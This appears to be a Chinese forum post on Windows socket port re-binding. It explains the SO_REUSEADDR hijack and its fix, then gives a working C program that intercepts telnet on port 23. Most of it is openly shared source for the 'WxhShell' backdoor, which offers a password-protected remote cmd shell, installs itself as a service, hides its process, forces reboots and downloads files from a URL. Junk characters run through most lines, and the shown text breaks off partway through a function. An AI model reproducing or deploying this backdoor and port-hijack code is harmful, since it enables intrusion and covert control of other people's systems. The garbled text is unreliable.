在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
jjm-%W@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
KV0e^c; +:[dviyPt saddr.sin_family = AF_INET;
ca_8S8lv UmU=3et<Wj saddr.sin_addr.s_addr = htonl(INADDR_ANY);
y*6r&989 :L FwJ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
|C S[>0mV! <u"#Jw/VP 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
yREO;m|o n6nwda 这意味着什么?意味着可以进行如下的攻击:
c"J(? 1O %;PPu$8K9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
s^9N7' "FaG5X( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
1W
HR;!u H2RNekck 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
,Fg&<Be}Jx @11voD 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
?kb\%pcK ^\mN<z( 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
>|7&hj$ *.EtdcRo[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
i\rI j0+ @Cm"lv.hz 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
9#6ilF:F vVLR9"rHM #include
mI in'M #include
cVn7jxf #include
~%Yh`c
EP #include
Z[`J'}?| DWORD WINAPI ClientThread(LPVOID lpParam);
Li=l/ int main()
!HDk] {
=fi.*d?$7 WORD wVersionRequested;
^m8\fCA* DWORD ret;
;wprHXjq WSADATA wsaData;
fC%;|V'Nd BOOL val;
qBX<{[ SOCKADDR_IN saddr;
EGGy0 ly SOCKADDR_IN scaddr;
XW]|Mv[M int err;
1xq1te) SOCKET s;
Yjk A^e SOCKET sc;
}.zgVLL int caddsize;
o<P%|>qX HANDLE mt;
L +. K}w DWORD tid;
G68N@g wVersionRequested = MAKEWORD( 2, 2 );
h/(9AO}t err = WSAStartup( wVersionRequested, &wsaData );
AD?^.< if ( err != 0 ) {
dGh<R|U3 printf("error!WSAStartup failed!\n");
o<l4}~a return -1;
+bf%]
}
Z{_'V+Q1 saddr.sin_family = AF_INET;
E4y"$U%. ;N"XW=F4e //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
s9`T% pg ocgbBE saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7P|(j<JX6' saddr.sin_port = htons(23);
]P<&CEk if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&|E2L1 {
[S</QS! printf("error!socket failed!\n");
!>S'eXt return -1;
29Q5s$YD@ }
l]v
*h0! val = TRUE;
-U/&3 //SO_REUSEADDR选项就是可以实现端口重绑定的
s^KxAw_IV if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
5K6_#g4" {
P<4jY?. printf("error!setsockopt failed!\n");
,$;CII
v return -1;
cF vGpZ }
(c[h,>`@: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ki+9Ln; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
/CA)R26G //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
v@t*iDa?7 J$WIF&*0@ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
=$`DBLX {
>2g CM ret=GetLastError();
%W&=]&L printf("error!bind failed!\n");
m/ 6oQ return -1;
BxZop.zwE( }
-ZyFUGd% listen(s,2);
([9h.M6v while(1)
<RhKlCP {
i*U\~CZjT caddsize = sizeof(scaddr);
2Vu|uZd //接受连接请求
]7u8m[@ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
)uX:f8 if(sc!=INVALID_SOCKET)
XIp9=jhSR {
fnmZJJ,Q mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
LiB0]+wzj if(mt==NULL)
)Y
*?VqZn {
*V"cu printf("Thread Creat Failed!\n");
ZXUe4@qfl break;
l
E&hw }
'g=yJ }
RD_;us@&&* CloseHandle(mt);
vy"Lsr3 }
;!~;05^iD closesocket(s);
M"9
zK[cz WSACleanup();
G8;S`-D1a, return 0;
NI^Y%N }
lMm-K%(2 DWORD WINAPI ClientThread(LPVOID lpParam)
yZ!Eu#81 {
)$]+R?v SOCKET ss = (SOCKET)lpParam;
&J~S $ SOCKET sc;
%~W}262 unsigned char buf[4096];
W#lvH=y SOCKADDR_IN saddr;
hr{%'DAS long num;
#63/;o:l$ DWORD val;
{X =\ DWORD ret;
?D\%ZXo //如果是隐藏端口应用的话,可以在此处加一些判断
_$bx4a //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Z?X$8o^Z saddr.sin_family = AF_INET;
h3)KT+7. saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
.nSupTyG saddr.sin_port = htons(23);
y\S7oD(OR if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R/Y/#X^b {
9nG] .@H printf("error!socket failed!\n");
U1"t|KW8 return -1;
@B'Mu:|f }
V!opnLatYS val = 100;
-DuiK:mp if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*g,?13Q_ {
ZK
?x_`w ret = GetLastError();
R_N<j return -1;
?}]kIK}MC }
7O9s5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)R +o8C {
#y*=UV|h ret = GetLastError();
GVfu_z? return -1;
- dOT/%Ux }
dH/t|.% if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
:U:7iP: {
z\E"={P& printf("error!socket connect failed!\n");
)4`Ml*7x closesocket(sc);
QhG-1P3# closesocket(ss);
y="SzPl return -1;
V%0.%/<#5 }
/SUV'J) while(1)
nM; G;
T {
28)TXRr- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
nfJ8Rt
//如果是嗅探内容的话,可以再此处进行内容分析和记录
k41la? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
op|mRJBq; num = recv(ss,buf,4096,0);
~4>Xi*
B if(num>0)
&53#`WgJ send(sc,buf,num,0);
<{U{pCT% else if(num==0)
Fm;)7.%
> break;
?V{k\1A num = recv(sc,buf,4096,0);
kdUGmR0d if(num>0)
J@GfO\
o send(ss,buf,num,0);
) ]%9Tgn else if(num==0)
YT5>pM-% break;
4'd{H
Rs }
0o<qEo^ closesocket(ss);
5i/E=D closesocket(sc);
-PnC^r0L$ return 0 ;
NqZRS>60v }
Ij#a 1 :Yt2] y\_S11{v ==========================================================
N#u8{\ |8] O|>1~^w 下边附上一个代码,,WXhSHELL
#c^Q<&B
[;=WnG ==========================================================
0 `!Q-G7 baNfS #include "stdafx.h"
ZW?7g+P UTTC:=F+ #include <stdio.h>
AIm$in`P #include <string.h>
jOb[h=B" #include <windows.h>
&
.?HuK #include <winsock2.h>
]hj1.V+ #include <winsvc.h>
YSV,q@I&1 #include <urlmon.h>
?&"^\p X}*o[;2G #pragma comment (lib, "Ws2_32.lib")
5|R2cc|"9 #pragma comment (lib, "urlmon.lib")
q`aY.dD=O Xo@YTol #define MAX_USER 100 // 最大客户端连接数
nF'xV44" #define BUF_SOCK 200 // sock buffer
S(J\<)b #define KEY_BUFF 255 // 输入 buffer
mei_aN7zW Idlu1g #define REBOOT 0 // 重启
|sFe:TX #define SHUTDOWN 1 // 关机
A(n=kx :6u3Mj{ #define DEF_PORT 5000 // 监听端口
"k-ov9yK \B2d(=~4 #define REG_LEN 16 // 注册表键长度
O^}v/}d #define SVC_LEN 80 // NT服务名长度
}o^A^ g&4~nEp // 从dll定义API
%;Z bQ9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
|)qK
g typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
eh(Q^E;* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
,0Zn hS)kq typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
YC]YX H ~9?U_ahfVt // wxhshell配置信息
gOyY#]g struct WSCFG {
grQnV' q int ws_port; // 监听端口
olMO+-USP char ws_passstr[REG_LEN]; // 口令
$a\Uv0:xRx int ws_autoins; // 安装标记, 1=yes 0=no
<}
y p char ws_regname[REG_LEN]; // 注册表键名
+^kxFQ(: char ws_svcname[REG_LEN]; // 服务名
b|dCEmFt char ws_svcdisp[SVC_LEN]; // 服务显示名
O4/n!HOb char ws_svcdesc[SVC_LEN]; // 服务描述信息
&ZE\@Vc char ws_passmsg[SVC_LEN]; // 密码输入提示信息
VxN64;|= int ws_downexe; // 下载执行标记, 1=yes 0=no
(b%y$D char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
S7kT3zB char ws_filenam[SVC_LEN]; // 下载后保存的文件名
%%~}Lw 4$aO;Z_ };
cHL]y0> hRr1#'& // default Wxhshell configuration
Y_@"v#, struct WSCFG wscfg={DEF_PORT,
[tqO}D "xuhuanlingzhe",
jRG\C=&(x 1,
$W$# CTM "Wxhshell",
2Nn1-wdhb "Wxhshell",
5)yOw|Bd "WxhShell Service",
,iVPcza "Wrsky Windows CmdShell Service",
]&:b<]K3 "Please Input Your Password: ",
nnE_OK!}T 1,
FxfL+}?Q "
http://www.wrsky.com/wxhshell.exe",
`<J#l;y "Wxhshell.exe"
Q)S>VDLA };
`x UG| 3%R{"Q" // 消息定义模块
y|.fR>5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
rAx"~l.= char *msg_ws_prompt="\n\r? for help\n\r#>";
*sw-eyn( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
(
f,J_ char *msg_ws_ext="\n\rExit.";
MdH97L)L.0 char *msg_ws_end="\n\rQuit.";
23-t$y] char *msg_ws_boot="\n\rReboot...";
h/Hl?O8[ char *msg_ws_poff="\n\rShutdown...";
u<]mv char *msg_ws_down="\n\rSave to ";
s8_aL)@f voV:H[RD9 char *msg_ws_err="\n\rErr!";
-+}5ma char *msg_ws_ok="\n\rOK!";
T;!ukGoFP &$c5~9p\B char ExeFile[MAX_PATH];
7':f_] int nUser = 0;
+~d1;0l| HANDLE handles[MAX_USER];
|qlS6Aln int OsIsNt;
8lOI\- e8WEz
4r_ SERVICE_STATUS serviceStatus;
kT^*>=1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
ku9@&W+ nlzW.OLM // 函数声明
j/9WOIfa int Install(void);
\2Og>{"U int Uninstall(void);
t<sNc8x int DownloadFile(char *sURL, SOCKET wsh);
3@)obb int Boot(int flag);
:)p)=c8% void HideProc(void);
JoCA{Fa} int GetOsVer(void);
,;.B4 int Wxhshell(SOCKET wsl);
0/\PZX+ void TalkWithClient(void *cs);
't(}Rq@ int CmdShell(SOCKET sock);
{/d4PI7)tK int StartFromService(void);
{7?9jEj int StartWxhshell(LPSTR lpCmdLine);
&$qF4B*
\Mb(6~nC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
hCM8/Vvx6 VOID WINAPI NTServiceHandler( DWORD fdwControl );
j1YH9T#|D a@#Q:O)4 // 数据结构和表定义
py{eX`(MS SERVICE_TABLE_ENTRY DispatchTable[] =
x_==Ss {
XDk'2ycv {wscfg.ws_svcname, NTServiceMain},
[?chK^8 {NULL, NULL}
ATXF,o1 };
F>dwL bnb EZ"bW // 自我安装
+z-[s6q2m int Install(void)
;1W6"3t-Y {
$Z;B QJVH char svExeFile[MAX_PATH];
g5#CN:%f HKEY key;
Gg%tVQu strcpy(svExeFile,ExeFile);
84=-Lw QsF4Dl // 如果是win9x系统,修改注册表设为自启动
dhHEE|vrz if(!OsIsNt) {
s`hav if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
G#H9g PY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
bD35JG^&i RegCloseKey(key);
74K)aA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X JY5@I. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^qxdmMp)l RegCloseKey(key);
*hVb5CS return 0;
BeK2;[5C }
6b?`:$Cw3) }
AnNPTi }
Y4#y34We else {
&<au/^F 9ilM@SR // 如果是NT以上系统,安装为系统服务
)Zas
x6` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
vsKl#R B if (schSCManager!=0)
vwKw?Z0%J {
[O2h-` SC_HANDLE schService = CreateService
~,ynJ]_aJB (
./l|8o schSCManager,
{odA[H wscfg.ws_svcname,
SIq1X'7 wscfg.ws_svcdisp,
(w+%=z"M SERVICE_ALL_ACCESS,
Dg~
[#C- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
S5N@\ x SERVICE_AUTO_START,
Is13: SERVICE_ERROR_NORMAL,
nv"G;W svExeFile,
{Eu'v$c! NULL,
IX9K.f NULL,
flG=9~qcGQ NULL,
{FWyu5. NULL,
nfX12y_SXL NULL
2"@Ft()] );
K;x~&G0= if (schService!=0)
lop uf/U0 {
B{p4G`$i1 CloseServiceHandle(schService);
Fn!SGX~kx$ CloseServiceHandle(schSCManager);
ibJl;sJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%e{(twp strcat(svExeFile,wscfg.ws_svcname);
f=o4I2Y[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
o/cr{>"N RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
nq'M?c#E RegCloseKey(key);
R:A'&;S return 0;
I}+;ME|<2 }
$jG4pPG }
:#{-RU@PS CloseServiceHandle(schSCManager);
(/K5! qh }
hK(tPl$ }
x=-0 zV R2 lXTW* return 1;
|5,<jyp }
>
\3ah4"o gg[9u- // 自我卸载
|3;(~a)% int Uninstall(void)
p<KIF>rf| {
Ky kSFB HKEY key;
D{p5/#|r dQ9
ah if(!OsIsNt) {
\ZSTKi? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
R\5Vq$Q RegDeleteValue(key,wscfg.ws_regname);
"Sjr_!u RegCloseKey(key);
Jx$iwu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R"+wih RegDeleteValue(key,wscfg.ws_regname);
+K^h!d] RegCloseKey(key);
Nb;H`<JP return 0;
)TU<:V }
h*Je35
}
FXahZW~Ol }
J &YQ]l else {
=i>\2J%'R Q[PK`*2) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
-[DWM2C$K4 if (schSCManager!=0)
kUa)smh {
5M:D?9E+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5ZK&fKeCF if (schService!=0)
d~@q%-`lA {
Zu21L3 if(DeleteService(schService)!=0) {
P~RhUKfd CloseServiceHandle(schService);
& Kmy}q
CloseServiceHandle(schSCManager);
aMTFW_w return 0;
^Kqf~yS% }
sDC*J\X CloseServiceHandle(schService);
.!RavEg+ }
UTCzHh1 CloseServiceHandle(schSCManager);
,l HLH }
y-9+a7j }
+xp]:h| y-B=W]E return 1;
+=eR%|!@ }
51 b y +Ok%e.\ZM // 从指定url下载文件
6|!NLwa int DownloadFile(char *sURL, SOCKET wsh)
3c #s|qW {
XE rUS80 HRESULT hr;
|g-b8+.=] char seps[]= "/";
e1/sqXWo char *token;
%8mm Hh char *file;
6/tI8H3E char myURL[MAX_PATH];
!aNh! char myFILE[MAX_PATH];
ONX8}Ob~ i]o"_=C strcpy(myURL,sURL);
W7=V{}b+ token=strtok(myURL,seps);
2YOKM#N] while(token!=NULL)
s_ bR]G {
DlTR|(AL file=token;
w?LrJ37u token=strtok(NULL,seps);
*:hyY!x }
mfom=-q3k 4(cJ^]wb ^ GetCurrentDirectory(MAX_PATH,myFILE);
Z4hLdHo_ strcat(myFILE, "\\");
B4g8
~f strcat(myFILE, file);
Br5o7(AE send(wsh,myFILE,strlen(myFILE),0);
,^$|R32 send(wsh,"...",3,0);
,gx)w^WTm hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
osHCg if(hr==S_OK)
9}P"^N return 0;
Gy"%R-j7 else
UBZ9A return 1;
Tu m_aI bw4oLu? }
+?m0Q;%b Ne6}oQy(S` // 系统电源模块
`bG7"o` int Boot(int flag)
9$1)k;ChP/ {
9em*r9- HANDLE hToken;
{1-V]h.<J TOKEN_PRIVILEGES tkp;
iwF9[wAft iL]'y\?lv if(OsIsNt) {
6'C2SihYp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Y[
zZw~yx LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
V[;M&=," tkp.PrivilegeCount = 1;
y\c"b-lQX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
,Zf
9RM AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
o[\HOe~; if(flag==REBOOT) {
p9qKLJ*.C if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
$m| V :/ return 0;
d8o53a] }
-db75= else {
\3XqHf3|o if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
>mq,}!n return 0;
x/fX`y|(}* }
;_?MX/w|& }
K^[#]+nQ else {
{+.r5py if(flag==REBOOT) {
|L6&Gf]#5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
S :bC[} return 0;
aelO3'UN }
_5Bcwa/ else {
c64v,Hj9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
,'fxIO return 0;
)_7>nuQ6 }
u1^wDc*xg }
Ms^dRe) mpw~hW0- return 1;
ZWUP^V }
3gZ8.8q3 W"q@Qa`Bm // win9x进程隐藏模块
MCTsi:V>+ void HideProc(void)
\nqkA{;B{ {
p0:kz l4$ DKL@wr}8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
]0V}D,V($ if ( hKernel != NULL )
'jg3 {
#Pk$L+C pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
v Gy8Qu> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
i[jJafAcN FreeLibrary(hKernel);
XXZaKgsq }
U(>4s]O6 6IcNZ!j98 return;
H}}$V7]^), }
*e>]~Z, 7[#yu 2 // 获取操作系统版本
_qwQ;!9 int GetOsVer(void)
;,h/
{
Kv&g5&N, OSVERSIONINFO winfo;
YIRZ+H<Q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
(N-RIk73/O GetVersionEx(&winfo);
=uHnRY if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}yn0IWVa return 1;
kOwMs<1J else
g=L]S-e return 0;
56lCwXCgA }
YY((#"o;l 0|4%4Mt // 客户端句柄模块
hwYQGtjF int Wxhshell(SOCKET wsl)
H6*^Ga {
H`hnEOyLp SOCKET wsh;
xM >W2 struct sockaddr_in client;
ZUm?*.g\^ DWORD myID;
\>. LW9 1/+C5Bp* while(nUser<MAX_USER)
}|OaL*|u {
>SF Uy\3 int nSize=sizeof(client);
=ac_,]z wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
tC?=E#3V if(wsh==INVALID_SOCKET) return 1;
82{ Vc 5|0,X<& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
MM_k
]-7 if(handles[nUser]==0)
#p(h]T32 closesocket(wsh);
_9 .(a else
r|Z3$J{^" nUser++;
`:8J46or }
+j_;(Gw7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
|y;}zQB-dH )>
,wj return 0;
d_UN0YT< }
Ks^6.) Y_&g="`Q // 关闭 socket
!l?.5Pm]) void CloseIt(SOCKET wsh)
$4kH3+WJ {
}"vW4 closesocket(wsh);
\J. .*,' nUser--;
j`'`)3f ExitThread(0);
)~4II.`%^ }
@+vXMJ $ GcIDG`RX // 客户端请求句柄
l:0s2 void TalkWithClient(void *cs)
$n^MD_1! {
_R'Fco l&4,v SOCKET wsh=(SOCKET)cs;
?&G`{Ey char pwd[SVC_LEN];
]w T 7*( Y char cmd[KEY_BUFF];
Xp\/YJOibd char chr[1];
>^q7c8]~g int i,j;
1wzqGmjmt gTgMqvt while (nUser < MAX_USER) {
F>tQn4 h5%<+D< if(wscfg.ws_passstr) {
(Fq5IGs if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@2pu^k^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
C*U'~qRK //ZeroMemory(pwd,KEY_BUFF);
;k"Bse!/ i=0;
iLP7!j while(i<SVC_LEN) {
Tus}\0/i> |b-9b& // 设置超时
q{s(.Uq$& fd_set FdRead;
0q>P~]Ow struct timeval TimeOut;
Wcb7
;~K FD_ZERO(&FdRead);
j?y LDLj FD_SET(wsh,&FdRead);
5>3}_ TimeOut.tv_sec=8;
F(4?tX T TimeOut.tv_usec=0;
"|;:>{JC int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
V/cP4{L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
bCref$| 3iw{SEY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Nx{$} pwd
=chr[0]; TG}*5Z`
if(chr[0]==0xd || chr[0]==0xa) { 0TfS=scT
pwd=0; tz#gClo
break; mRB
} xe7O/',pa=
i++; I1[g&9,
} A7(hw~+@
u` oq(?|
// 如果是非法用户,关闭 socket Fk(JSiU
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j1_@qns{
} <%xS{!'}
d(g^M1m
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~m|Mg9-
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y=In?QN{6*
QO"oEgB`+Z
while(1) { qB)"qFa
DI!V^M[~u
ZeroMemory(cmd,KEY_BUFF); Gpm{m:$L
q o<&J f
// 自动支持客户端 telnet标准 *x)Ozfe
j=0; 'V8N
while(j<KEY_BUFF) { +?p.?I
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4w#``UY)'
cmd[j]=chr[0]; 3 ?Y|
if(chr[0]==0xa || chr[0]==0xd) { XU+<?%u}z
cmd[j]=0; vG \a1H
break; SQeRSz8bK4
} YF+n
b.0.
j++; dw.F5?j`b
} .{;Y'Zc14S
,K:ll4{b
// 下载文件
#gm)dRKm%
if(strstr(cmd,"http://")) { kId
n6 Wx,
send(wsh,msg_ws_down,strlen(msg_ws_down),0); A
AHt218
if(DownloadFile(cmd,wsh)) piU/&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c/_+o;Bc
else M$0u1~K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -s 6![eV
} aR\\<due
else { L`th7d"
>~K
qg~
switch(cmd[0]) { rP!#RzL
`DT3x{}_S
// 帮助 8k(P,o
case '?': { upeU52@\
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C7H/N<VAq
break; DJP2IP
} -hkQ2[Ew#
// 安装 e"
]2=5g
case 'i': { %cE2s`
if(Install()) ^<LY4^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R\XKMF3mN3
else Cgz D$`~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y^]tahbo
break; c1%H4j4/
} CRbdAqofV
// 卸载 fX
jG5Tv
case 'r': { w
'3#&k+
if(Uninstall()) gKOOHUCb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,;M4jc{
else !"+'A)Nve
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iS5W>1]
break; kD bhu^~B
} {QCf}@_]h
// 显示 wxhshell 所在路径 d|T!v
case 'p': { gocrjjAHk
char svExeFile[MAX_PATH]; tK
k#LWB
strcpy(svExeFile,"\n\r"); ?BhMjsy.
strcat(svExeFile,ExeFile); P>9aI/d9
send(wsh,svExeFile,strlen(svExeFile),0); 1 { , F
break; J[^}u_z
} "_2Ng<2
// 重启
:ujCr.
case 'b': { 5s{ABJ\@V
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0euuT@_$
if(Boot(REBOOT)) Q:ezifQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6%Be36<
else { V21njRS
closesocket(wsh); YDGS}~m~Q
ExitThread(0); !Ci~!)$z6
} Cuc$3l(%
break; Agrp(i"\@
} kD[ r.Dma
// 关机 nI0[;'Hn,
case 'd': { Tr^nkD{
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [b:e:P 2
if(Boot(SHUTDOWN)) :8A!HI}m{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~q&pF"va8
else { .'a&33J
closesocket(wsh); !45.puL0
ExitThread(0); 7bDHXn
} wu"&|dt
break; b=3H
} c*UvYzDZL
// 获取shell qH['09/F6
case 's': { `Y?87f:SP
CmdShell(wsh); |AC1\)2tT
closesocket(wsh); "(qw-kil
ExitThread(0); fAB e
break; fr!Pj(Q1
} Py{<bd
// 退出 (MHAJ]Rx
case 'x': { d6i6hcQE
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f{0F|w<gf
CloseIt(wsh); GU Q{r!S
break; 4Z|vnj)Z
} ~SSU`
// 离开 "`asFg
case 'q': { 1He{v#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); @AYRiOodi
closesocket(wsh); J~(Wf%jM~
WSACleanup(); ;\MW$/[JCy
exit(1); Hi]cxD*`
break; mw5?[@G-
} XR!us/U`a
} n<B<93f/
} /pp1~r.s?>
j1 =`|
// 提示信息 oq*N_mP0
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UJs$q\#RO
} JMdPwI
} ?aW^+3i
<LRey%{q
return; WMMO5_Mz
} Y?534l)j
aTBR|US
// shell模块句柄 ,C {*s$
int CmdShell(SOCKET sock) ,sGZ2=M}J
{ 0kDK~iT
STARTUPINFO si; (RtueEb.~E
ZeroMemory(&si,sizeof(si)); Dz./w
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TE )gVE]
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `mT$s,:h
PROCESS_INFORMATION ProcessInfo; s}j1"@
char cmdline[]="cmd"; _bD/D!|
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~afg)[(
return 0; q$G,KRy/
} jgS%1/&
]59i>
// 自身启动模式 c]B$i*t
int StartFromService(void) hXGwP4
{ /*Qq[C
typedef struct XlI!{qj|
{ 8>/Q1(q0
DWORD ExitStatus; #P#-xz
DWORD PebBaseAddress; #.[AK_S5&
DWORD AffinityMask; 8.bKb<y
DWORD BasePriority; f&D]anf33
